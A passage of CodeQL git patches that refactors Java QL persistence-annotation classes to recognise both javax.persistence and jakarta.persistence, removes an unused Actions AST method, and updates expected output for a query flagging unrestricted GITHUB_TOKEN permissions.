this.getType().hasQualifiedName("javax.persistence", "NamedNativeQuery") + this.getType().hasQualifiedName(getAPersistencePackageName(), "NamedNativeQuery") } } @@ -404,42 +440,50 @@ class NamedNativeQueryAnnotation extends Annotation { * A `@javax.persistence.NamedQueries` annotation. */ class NamedQueriesAnnotation extends Annotation { - NamedQueriesAnnotation() { this.getType().hasQualifiedName("javax.persistence", "NamedQueries") } + NamedQueriesAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "NamedQueries") + } } /** * A `@javax.persistence.NamedQuery` annotation. */ class NamedQueryAnnotation extends Annotation { - NamedQueryAnnotation() { this.getType().hasQualifiedName("javax.persistence", "NamedQuery") } + NamedQueryAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "NamedQuery") + } } /** * A `@javax.persistence.OneToMany` annotation. */ class OneToManyAnnotation extends Annotation { - OneToManyAnnotation() { this.getType().hasQualifiedName("javax.persistence", "OneToMany") } + OneToManyAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "OneToMany") + } } /** * A `@javax.persistence.OneToOne` annotation. */ class OneToOneAnnotation extends Annotation { - OneToOneAnnotation() { this.getType().hasQualifiedName("javax.persistence", "OneToOne") } + OneToOneAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "OneToOne") } } /** * A `@javax.persistence.OrderBy` annotation. */ class OrderByAnnotation extends Annotation { - OrderByAnnotation() { this.getType().hasQualifiedName("javax.persistence", "OrderBy") } + OrderByAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "OrderBy") } } /** * A `@javax.persistence.OrderColumn` annotation. */ class OrderColumnAnnotation extends Annotation { - OrderColumnAnnotation() { this.getType().hasQualifiedName("javax.persistence", "OrderColumn") } + OrderColumnAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "OrderColumn") + } } /** @@ -447,7 +491,7 @@ class OrderColumnAnnotation extends Annotation { */ class PersistenceContextAnnotation extends Annotation { PersistenceContextAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PersistenceContext") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PersistenceContext") } } @@ -456,7 +500,7 @@ class PersistenceContextAnnotation extends Annotation { */ class PersistenceContextsAnnotation extends Annotation { PersistenceContextsAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PersistenceContexts") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PersistenceContexts") } } @@ -465,7 +509,7 @@ class PersistenceContextsAnnotation extends Annotation { */ class PersistencePropertyAnnotation extends Annotation { PersistencePropertyAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PersistenceProperty") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PersistenceProperty") } } @@ -474,7 +518,7 @@ class PersistencePropertyAnnotation extends Annotation { */ class PersistenceUnitAnnotation extends Annotation { PersistenceUnitAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PersistenceUnit") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PersistenceUnit") } } @@ -483,7 +527,7 @@ class PersistenceUnitAnnotation extends Annotation { */ class PersistenceUnitsAnnotation extends Annotation { PersistenceUnitsAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PersistenceUnits") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PersistenceUnits") } } @@ -491,49 +535,61 @@ class PersistenceUnitsAnnotation extends Annotation { * A `@javax.persistence.PostLoad` annotation. */ class PostLoadAnnotation extends Annotation { - PostLoadAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PostLoad") } + PostLoadAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "PostLoad") } } /** * A `@javax.persistence.PostPersist` annotation. */ class PostPersistAnnotation extends Annotation { - PostPersistAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PostPersist") } + PostPersistAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PostPersist") + } } /** * A `@javax.persistence.PostRemove` annotation. */ class PostRemoveAnnotation extends Annotation { - PostRemoveAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PostRemove") } + PostRemoveAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PostRemove") + } } /** * A `@javax.persistence.PostUpdate` annotation. */ class PostUpdateAnnotation extends Annotation { - PostUpdateAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PostUpdate") } + PostUpdateAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PostUpdate") + } } /** * A `@javax.persistence.PrePersist` annotation. */ class PrePersistAnnotation extends Annotation { - PrePersistAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PrePersist") } + PrePersistAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PrePersist") + } } /** * A `@javax.persistence.PreRemove` annotation. */ class PreRemoveAnnotation extends Annotation { - PreRemoveAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PreRemove") } + PreRemoveAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PreRemove") + } } /** * A `@javax.persistence.PreUpdate` annotation. */ class PreUpdateAnnotation extends Annotation { - PreUpdateAnnotation() { this.getType().hasQualifiedName("javax.persistence", "PreUpdate") } + PreUpdateAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "PreUpdate") + } } /** @@ -541,7 +597,7 @@ class PreUpdateAnnotation extends Annotation { */ class PrimaryKeyJoinColumnAnnotation extends Annotation { PrimaryKeyJoinColumnAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PrimaryKeyJoinColumn") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PrimaryKeyJoinColumn") } } @@ -550,7 +606,7 @@ class PrimaryKeyJoinColumnAnnotation extends Annotation { */ class PrimaryKeyJoinColumnsAnnotation extends Annotation { PrimaryKeyJoinColumnsAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "PrimaryKeyJoinColumns") + this.getType().hasQualifiedName(getAPersistencePackageName(), "PrimaryKeyJoinColumns") } } @@ -558,7 +614,9 @@ class PrimaryKeyJoinColumnsAnnotation extends Annotation { * A `@javax.persistence.QueryHint` annotation. */ class QueryHintAnnotation extends Annotation { - QueryHintAnnotation() { this.getType().hasQualifiedName("javax.persistence", "QueryHint") } + QueryHintAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "QueryHint") + } } /** @@ -566,7 +624,7 @@ class QueryHintAnnotation extends Annotation { */ class SecondaryTableAnnotation extends Annotation { SecondaryTableAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "SecondaryTable") + this.getType().hasQualifiedName(getAPersistencePackageName(), "SecondaryTable") } } @@ -575,7 +633,7 @@ class SecondaryTableAnnotation extends Annotation { */ class SecondaryTablesAnnotation extends Annotation { SecondaryTablesAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "SecondaryTables") + this.getType().hasQualifiedName(getAPersistencePackageName(), "SecondaryTables") } } @@ -584,7 +642,7 @@ class SecondaryTablesAnnotation extends Annotation { */ class SequenceGeneratorAnnotation extends Annotation { SequenceGeneratorAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "SequenceGenerator") + this.getType().hasQualifiedName(getAPersistencePackageName(), "SequenceGenerator") } } @@ -593,7 +651,7 @@ class SequenceGeneratorAnnotation extends Annotation { */ class SqlResultSetMappingAnnotation extends Annotation { SqlResultSetMappingAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "SqlResultSetMapping") + this.getType().hasQualifiedName(getAPersistencePackageName(), "SqlResultSetMapping") } } @@ -602,7 +660,7 @@ class SqlResultSetMappingAnnotation extends Annotation { */ class SqlResultSetMappingsAnnotation extends Annotation { SqlResultSetMappingsAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "SqlResultSetMappings") + this.getType().hasQualifiedName(getAPersistencePackageName(), "SqlResultSetMappings") } } @@ -610,7 +668,7 @@ class SqlResultSetMappingsAnnotation extends Annotation { * A `@javax.persistence.Table` annotation. */ class TableAnnotation extends Annotation { - TableAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Table") } + TableAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Table") } } /** @@ -618,7 +676,7 @@ class TableAnnotation extends Annotation { */ class TableGeneratorAnnotation extends Annotation { TableGeneratorAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "TableGenerator") + this.getType().hasQualifiedName(getAPersistencePackageName(), "TableGenerator") } } @@ -626,14 +684,16 @@ class TableGeneratorAnnotation extends Annotation { * A `@javax.persistence.Temporal` annotation. */ class TemporalAnnotation extends Annotation { - TemporalAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Temporal") } + TemporalAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Temporal") } } /** * A `@javax.persistence.Transient` annotation. */ class TransientAnnotation extends Annotation { - TransientAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Transient") } + TransientAnnotation() { + this.getType().hasQualifiedName(getAPersistencePackageName(), "Transient") + } } /** @@ -641,7 +701,7 @@ class TransientAnnotation extends Annotation { */ class UniqueConstraintAnnotation extends Annotation { UniqueConstraintAnnotation() { - this.getType().hasQualifiedName("javax.persistence", "UniqueConstraint") + this.getType().hasQualifiedName(getAPersistencePackageName(), "UniqueConstraint") } } @@ -649,12 +709,12 @@ class UniqueConstraintAnnotation extends Annotation { * A `@javax.persistence.Version` annotation. */ class VersionAnnotation extends Annotation { - VersionAnnotation() { this.getType().hasQualifiedName("javax.persistence", "Version") } + VersionAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Version") } } /** The interface `javax.persistence.EntityManager`. */ class TypeEntityManager extends Interface { - TypeEntityManager() { this.hasQualifiedName("javax.persistence", "EntityManager") } + TypeEntityManager() { this.hasQualifiedName(getAPersistencePackageName(), "EntityManager") } /** Gets a method named `createQuery` declared in the `EntityManager` interface. */ Method getACreateQueryMethod() { @@ -677,7 +737,7 @@ class TypeEntityManager extends Interface { /** The interface `javax.persistence.Query`, which represents queries in the Java Persistence Query Language. */ class TypeQuery extends Interface { - TypeQuery() { this.hasQualifiedName("javax.persistence", "Query") } + TypeQuery() { this.hasQualifiedName(getAPersistencePackageName(), "Query") } /** Gets a method named `setParameter` declared in the `Query` interface. */ Method getASetParameterMethod() { From d83f35ff648942215dd5db69151cca947eb2f8e3 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 17:07:43 +0200 Subject: [PATCH 212/282] actions: remove unneded API --- actions/ql/lib/codeql/actions/Ast.qll | 2 -- actions/ql/lib/codeql/actions/ast/internal/Ast.qll | 2 -- 2 files changed, 4 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index a50febdea97..8c1925f3288 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -242,8 +242,6 @@ class Step extends AstNode instanceof StepImpl { If getIf() { result = super.getIf() } - AstNode getUses() { result = super.getUses() } - StepsContainer getContainer() { result = super.getContainer() } Step getNextStep() { result = super.getNextStep() } diff --git a/actions/ql/lib/codeql/actions/ast/internal/Ast.qll b/actions/ql/lib/codeql/actions/ast/internal/Ast.qll index 44ae082a34d..b0cbb8a1d79 100644 --- a/actions/ql/lib/codeql/actions/ast/internal/Ast.qll +++ b/actions/ql/lib/codeql/actions/ast/internal/Ast.qll @@ -1194,8 +1194,6 @@ class StepImpl extends AstNodeImpl, TStepNode { /** Gets the value of the `if` field in this step, if any. */ IfImpl getIf() { result.getNode() = n.lookup("if") } - AstNodeImpl getUses() { result.getNode() = n.lookup("uses") } - /** Gets the Runs or LocalJob that this step is in. */ StepsContainerImpl getContainer() { result = this.getParentNode().(RunsImpl) or From 80ae8794f55a6bcedf90e12c6757270845a50e82 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 17:07:57 +0200 Subject: [PATCH 213/282] actions: update test expectations --- .../Security/CWE-275/MissingActionsPermissions.expected | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected index c7103d6f8dd..1a3c36c78ca 100644 --- a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected +++ b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected @@ -1,4 +1,5 @@ -| .github/workflows/perms1.yml:6:5:9:32 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | -| .github/workflows/perms2.yml:6:5:10:2 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | -| .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | -| .github/workflows/perms6.yml:7:5:11:39 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read, id-token: write, pages: write} | +| .github/workflows/perms1.yml:6:5:9:32 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read} | +| .github/workflows/perms2.yml:6:5:10:2 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read} | +| .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read} | +| .github/workflows/perms6.yml:7:5:11:39 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read, id-token: write, pages: write} | +| .github/workflows/perms7.yml:7:5:10:38 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {} | From a5a6fd37dfc0f77f6db7bed6a9c6b5178263707c Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 16:19:42 +0100 Subject: [PATCH 214/282] Enable recognising jakarta.persistence in dead-code queries --- java/ql/lib/semmle/code/java/deadcode/DeadField.qll | 5 +++-- java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll | 3 ++- .../lib/semmle/code/java/frameworks/javaee/Persistence.qll | 5 ++++- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/java/ql/lib/semmle/code/java/deadcode/DeadField.qll b/java/ql/lib/semmle/code/java/deadcode/DeadField.qll index 48cfd945375..b1a990ac246 100644 --- a/java/ql/lib/semmle/code/java/deadcode/DeadField.qll +++ b/java/ql/lib/semmle/code/java/deadcode/DeadField.qll @@ -3,6 +3,7 @@ import semmle.code.java.deadcode.DeadCode import semmle.code.java.frameworks.javaee.Persistence import semmle.code.java.frameworks.JAXB import semmle.code.java.frameworks.jackson.JacksonSerializability +import semmle.code.java.frameworks.javaee.Persistence /** * A field that is from a source file. @@ -161,10 +162,10 @@ class JpaReadField extends ReflectivelyReadField { this = entity.getAField() and ( entity.getAccessType() = "field" or - this.hasAnnotation("javax.persistence", "Access") + this.hasAnnotation(getAPersistencePackageName(), "Access") ) | - not this.hasAnnotation("javax.persistence", "Transient") and + not this.hasAnnotation(getAPersistencePackageName(), "Transient") and not this.isStatic() and not this.isFinal() ) diff --git a/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll b/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll index bca78aeae05..7c0a2fdc2d3 100644 --- a/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll +++ b/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll @@ -7,6 +7,7 @@ import semmle.code.java.deadcode.StrutsEntryPoints import semmle.code.java.deadcode.TestEntryPoints import semmle.code.java.deadcode.WebEntryPoints import semmle.code.java.frameworks.javaee.JavaServerFaces +import semmle.code.java.frameworks.javaee.Persistence import semmle.code.java.frameworks.JAXB import semmle.code.java.frameworks.JaxWS import semmle.code.java.JMX @@ -395,7 +396,7 @@ class PersistencePropertyMethod extends CallableEntryPoint { this = e.getACallable() and ( e.getAccessType() = "property" or - this.hasAnnotation("javax.persistence", "Access") + this.hasAnnotation(getAPersistencePackageName(), "Access") ) and ( this.getName().matches("get%") or diff --git a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll index b1f256878af..482988050d2 100644 --- a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll +++ b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll @@ -4,7 +4,10 @@ import java -private string getAPersistencePackageName() { +/** + * Gets a JavaEE Persistence API package name. + */ +string getAPersistencePackageName() { result = ["javax.persistence", "jakarta.persistence"] } From 50119ae481ed4a8f6fa4f89a26b89532624e6b80 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Tue, 1 Apr 2025 16:20:06 +0100 Subject: [PATCH 215/282] Update docs --- .../java/frameworks/javaee/Persistence.qll | 162 +++++++++--------- 1 file changed, 80 insertions(+), 82 deletions(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll index 482988050d2..1cb9af2e0d9 100644 --- a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll +++ b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll @@ -7,9 +7,7 @@ import java /** * Gets a JavaEE Persistence API package name. */ -string getAPersistencePackageName() { - result = ["javax.persistence", "jakarta.persistence"] -} +string getAPersistencePackageName() { result = ["javax.persistence", "jakarta.persistence"] } /** * A `RefType` with the `@Entity` annotation that indicates that it can be persisted using a JPA @@ -40,7 +38,7 @@ class PersistentEntity extends RefType { } /** - * Gets the access type for this entity as defined by a `@javax.persistence.Access` annotation, + * Gets the access type for this entity as defined by a `@{javax,jakarta}.persistence.Access` annotation, * if any, in lower case. */ string getAccessTypeFromAnnotation() { @@ -51,18 +49,18 @@ class PersistentEntity extends RefType { } /* - * Annotations in the `javax.persistence` package. + * Annotations in the `{javax,jakarta}.persistence` package. */ /** - * A `@javax.persistence.Access` annotation. + * A `@{javax,jakarta}.persistence.Access` annotation. */ class AccessAnnotation extends Annotation { AccessAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Access") } } /** - * A `@javax.persistence.AccessType` annotation. + * A `@{javax,jakarta}.persistence.AccessType` annotation. */ class AccessTypeAnnotation extends Annotation { AccessTypeAnnotation() { @@ -71,7 +69,7 @@ class AccessTypeAnnotation extends Annotation { } /** - * A `@javax.persistence.AssociationOverride` annotation. + * A `@{javax,jakarta}.persistence.AssociationOverride` annotation. */ class AssociationOverrideAnnotation extends Annotation { AssociationOverrideAnnotation() { @@ -80,7 +78,7 @@ class AssociationOverrideAnnotation extends Annotation { } /** - * A `@javax.persistence.AssociationOverrides` annotation. + * A `@{javax,jakarta}.persistence.AssociationOverrides` annotation. */ class AssociationOverridesAnnotation extends Annotation { AssociationOverridesAnnotation() { @@ -89,7 +87,7 @@ class AssociationOverridesAnnotation extends Annotation { } /** - * A `@javax.persistence.AttributeOverride` annotation. + * A `@{javax,jakarta}.persistence.AttributeOverride` annotation. */ class AttributeOverrideAnnotation extends Annotation { AttributeOverrideAnnotation() { @@ -98,7 +96,7 @@ class AttributeOverrideAnnotation extends Annotation { } /** - * A `@javax.persistence.AttributeOverrides` annotation. + * A `@{javax,jakarta}.persistence.AttributeOverrides` annotation. */ class AttributeOverridesAnnotation extends Annotation { AttributeOverridesAnnotation() { @@ -107,14 +105,14 @@ class AttributeOverridesAnnotation extends Annotation { } /** - * A `@javax.persistence.Basic` annotation. + * A `@{javax,jakarta}.persistence.Basic` annotation. */ class BasicAnnotation extends Annotation { BasicAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Basic") } } /** - * A `@javax.persistence.Cacheable` annotation. + * A `@{javax,jakarta}.persistence.Cacheable` annotation. */ class CacheableAnnotation extends Annotation { CacheableAnnotation() { @@ -123,7 +121,7 @@ class CacheableAnnotation extends Annotation { } /** - * A `@javax.persistence.CollectionTable` annotation. + * A `@{javax,jakarta}.persistence.CollectionTable` annotation. */ class CollectionTableAnnotation extends Annotation { CollectionTableAnnotation() { @@ -132,14 +130,14 @@ class CollectionTableAnnotation extends Annotation { } /** - * A `@javax.persistence.Column` annotation. + * A `@{javax,jakarta}.persistence.Column` annotation. */ class ColumnAnnotation extends Annotation { ColumnAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Column") } } /** - * A `@javax.persistence.ColumnResult` annotation. + * A `@{javax,jakarta}.persistence.ColumnResult` annotation. */ class ColumnResultAnnotation extends Annotation { ColumnResultAnnotation() { @@ -148,7 +146,7 @@ class ColumnResultAnnotation extends Annotation { } /** - * A `@javax.persistence.DiscriminatorColumn` annotation. + * A `@{javax,jakarta}.persistence.DiscriminatorColumn` annotation. */ class DiscriminatorColumnAnnotation extends Annotation { DiscriminatorColumnAnnotation() { @@ -157,7 +155,7 @@ class DiscriminatorColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.DiscriminatorValue` annotation. + * A `@{javax,jakarta}.persistence.DiscriminatorValue` annotation. */ class DiscriminatorValueAnnotation extends Annotation { DiscriminatorValueAnnotation() { @@ -166,7 +164,7 @@ class DiscriminatorValueAnnotation extends Annotation { } /** - * A `@javax.persistence.ElementCollection` annotation. + * A `@{javax,jakarta}.persistence.ElementCollection` annotation. */ class ElementCollectionAnnotation extends Annotation { ElementCollectionAnnotation() { @@ -175,7 +173,7 @@ class ElementCollectionAnnotation extends Annotation { } /** - * A `@javax.persistence.Embeddable` annotation. + * A `@{javax,jakarta}.persistence.Embeddable` annotation. */ class EmbeddableAnnotation extends Annotation { EmbeddableAnnotation() { @@ -184,14 +182,14 @@ class EmbeddableAnnotation extends Annotation { } /** - * A `@javax.persistence.Embedded` annotation. + * A `@{javax,jakarta}.persistence.Embedded` annotation. */ class EmbeddedAnnotation extends Annotation { EmbeddedAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Embedded") } } /** - * A `@javax.persistence.EmbeddedId` annotation. + * A `@{javax,jakarta}.persistence.EmbeddedId` annotation. */ class EmbeddedIdAnnotation extends Annotation { EmbeddedIdAnnotation() { @@ -200,14 +198,14 @@ class EmbeddedIdAnnotation extends Annotation { } /** - * A `@javax.persistence.Entity` annotation. + * A `@{javax,jakarta}.persistence.Entity` annotation. */ class EntityAnnotation extends Annotation { EntityAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Entity") } } /** - * A `@javax.persistence.EntityListeners` annotation. + * A `@{javax,jakarta}.persistence.EntityListeners` annotation. */ class EntityListenersAnnotation extends Annotation { EntityListenersAnnotation() { @@ -216,7 +214,7 @@ class EntityListenersAnnotation extends Annotation { } /** - * A `@javax.persistence.EntityResult` annotation. + * A `@{javax,jakarta}.persistence.EntityResult` annotation. */ class EntityResultAnnotation extends Annotation { EntityResultAnnotation() { @@ -225,7 +223,7 @@ class EntityResultAnnotation extends Annotation { } /** - * A `@javax.persistence.Enumerated` annotation. + * A `@{javax,jakarta}.persistence.Enumerated` annotation. */ class EnumeratedAnnotation extends Annotation { EnumeratedAnnotation() { @@ -234,7 +232,7 @@ class EnumeratedAnnotation extends Annotation { } /** - * A `@javax.persistence.ExcludeDefaultListeners` annotation. + * A `@{javax,jakarta}.persistence.ExcludeDefaultListeners` annotation. */ class ExcludeDefaultListenersAnnotation extends Annotation { ExcludeDefaultListenersAnnotation() { @@ -243,7 +241,7 @@ class ExcludeDefaultListenersAnnotation extends Annotation { } /** - * A `@javax.persistence.ExcludeSuperclassListeners` annotation. + * A `@{javax,jakarta}.persistence.ExcludeSuperclassListeners` annotation. */ class ExcludeSuperclassListenersAnnotation extends Annotation { ExcludeSuperclassListenersAnnotation() { @@ -252,7 +250,7 @@ class ExcludeSuperclassListenersAnnotation extends Annotation { } /** - * A `@javax.persistence.FieldResult` annotation. + * A `@{javax,jakarta}.persistence.FieldResult` annotation. */ class FieldResultAnnotation extends Annotation { FieldResultAnnotation() { @@ -261,7 +259,7 @@ class FieldResultAnnotation extends Annotation { } /** - * A `@javax.persistence.GeneratedValue` annotation. + * A `@{javax,jakarta}.persistence.GeneratedValue` annotation. */ class GeneratedValueAnnotation extends Annotation { GeneratedValueAnnotation() { @@ -270,21 +268,21 @@ class GeneratedValueAnnotation extends Annotation { } /** - * A `@javax.persistence.Id` annotation. + * A `@{javax,jakarta}.persistence.Id` annotation. */ class IdAnnotation extends Annotation { IdAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Id") } } /** - * A `@javax.persistence.IdClass` annotation. + * A `@{javax,jakarta}.persistence.IdClass` annotation. */ class IdClassAnnotation extends Annotation { IdClassAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "IdClass") } } /** - * A `@javax.persistence.Inheritance` annotation. + * A `@{javax,jakarta}.persistence.Inheritance` annotation. */ class InheritanceAnnotation extends Annotation { InheritanceAnnotation() { @@ -293,7 +291,7 @@ class InheritanceAnnotation extends Annotation { } /** - * A `@javax.persistence.JoinColumn` annotation. + * A `@{javax,jakarta}.persistence.JoinColumn` annotation. */ class JoinColumnAnnotation extends Annotation { JoinColumnAnnotation() { @@ -302,7 +300,7 @@ class JoinColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.JoinColumns` annotation. + * A `@{javax,jakarta}.persistence.JoinColumns` annotation. */ class JoinColumnsAnnotation extends Annotation { JoinColumnsAnnotation() { @@ -311,7 +309,7 @@ class JoinColumnsAnnotation extends Annotation { } /** - * A `@javax.persistence.JoinTable` annotation. + * A `@{javax,jakarta}.persistence.JoinTable` annotation. */ class JoinTableAnnotation extends Annotation { JoinTableAnnotation() { @@ -320,14 +318,14 @@ class JoinTableAnnotation extends Annotation { } /** - * A `@javax.persistence.Lob` annotation. + * A `@{javax,jakarta}.persistence.Lob` annotation. */ class LobAnnotation extends Annotation { LobAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Lob") } } /** - * A `@javax.persistence.ManyToMany` annotation. + * A `@{javax,jakarta}.persistence.ManyToMany` annotation. */ class ManyToManyAnnotation extends Annotation { ManyToManyAnnotation() { @@ -336,7 +334,7 @@ class ManyToManyAnnotation extends Annotation { } /** - * A `@javax.persistence.ManyToOne` annotation. + * A `@{javax,jakarta}.persistence.ManyToOne` annotation. */ class ManyToOneAnnotation extends Annotation { ManyToOneAnnotation() { @@ -345,14 +343,14 @@ class ManyToOneAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKey` annotation. + * A `@{javax,jakarta}.persistence.MapKey` annotation. */ class MapKeyAnnotation extends Annotation { MapKeyAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "MapKey") } } /** - * A `@javax.persistence.MapKeyClass` annotation. + * A `@{javax,jakarta}.persistence.MapKeyClass` annotation. */ class MapKeyClassAnnotation extends Annotation { MapKeyClassAnnotation() { @@ -361,7 +359,7 @@ class MapKeyClassAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKeyColumn` annotation. + * A `@{javax,jakarta}.persistence.MapKeyColumn` annotation. */ class MapKeyColumnAnnotation extends Annotation { MapKeyColumnAnnotation() { @@ -370,7 +368,7 @@ class MapKeyColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKeyEnumerated` annotation. + * A `@{javax,jakarta}.persistence.MapKeyEnumerated` annotation. */ class MapKeyEnumeratedAnnotation extends Annotation { MapKeyEnumeratedAnnotation() { @@ -379,7 +377,7 @@ class MapKeyEnumeratedAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKeyJoinColumn` annotation. + * A `@{javax,jakarta}.persistence.MapKeyJoinColumn` annotation. */ class MapKeyJoinColumnAnnotation extends Annotation { MapKeyJoinColumnAnnotation() { @@ -388,7 +386,7 @@ class MapKeyJoinColumnAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKeyJoinColumns` annotation. + * A `@{javax,jakarta}.persistence.MapKeyJoinColumns` annotation. */ class MapKeyJoinColumnsAnnotation extends Annotation { MapKeyJoinColumnsAnnotation() { @@ -397,7 +395,7 @@ class MapKeyJoinColumnsAnnotation extends Annotation { } /** - * A `@javax.persistence.MapKeyTemporal` annotation. + * A `@{javax,jakarta}.persistence.MapKeyTemporal` annotation. */ class MapKeyTemporalAnnotation extends Annotation { MapKeyTemporalAnnotation() { @@ -406,7 +404,7 @@ class MapKeyTemporalAnnotation extends Annotation { } /** - * A `@javax.persistence.MappedSuperclass` annotation. + * A `@{javax,jakarta}.persistence.MappedSuperclass` annotation. */ class MappedSuperclassAnnotation extends Annotation { MappedSuperclassAnnotation() { @@ -415,14 +413,14 @@ class MappedSuperclassAnnotation extends Annotation { } /** - * A `@javax.persistence.MapsId` annotation. + * A `@{javax,jakarta}.persistence.MapsId` annotation. */ class MapsIdAnnotation extends Annotation { MapsIdAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "MapsId") } } /** - * A `@javax.persistence.NamedNativeQueries` annotation. + * A `@{javax,jakarta}.persistence.NamedNativeQueries` annotation. */ class NamedNativeQueriesAnnotation extends Annotation { NamedNativeQueriesAnnotation() { @@ -431,7 +429,7 @@ class NamedNativeQueriesAnnotation extends Annotation { } /** - * A `@javax.persistence.NamedNativeQuery` annotation. + * A `@{javax,jakarta}.persistence.NamedNativeQuery` annotation. */ class NamedNativeQueryAnnotation extends Annotation { NamedNativeQueryAnnotation() { @@ -440,7 +438,7 @@ class NamedNativeQueryAnnotation extends Annotation { } /** - * A `@javax.persistence.NamedQueries` annotation. + * A `@{javax,jakarta}.persistence.NamedQueries` annotation. */ class NamedQueriesAnnotation extends Annotation { NamedQueriesAnnotation() { @@ -449,7 +447,7 @@ class 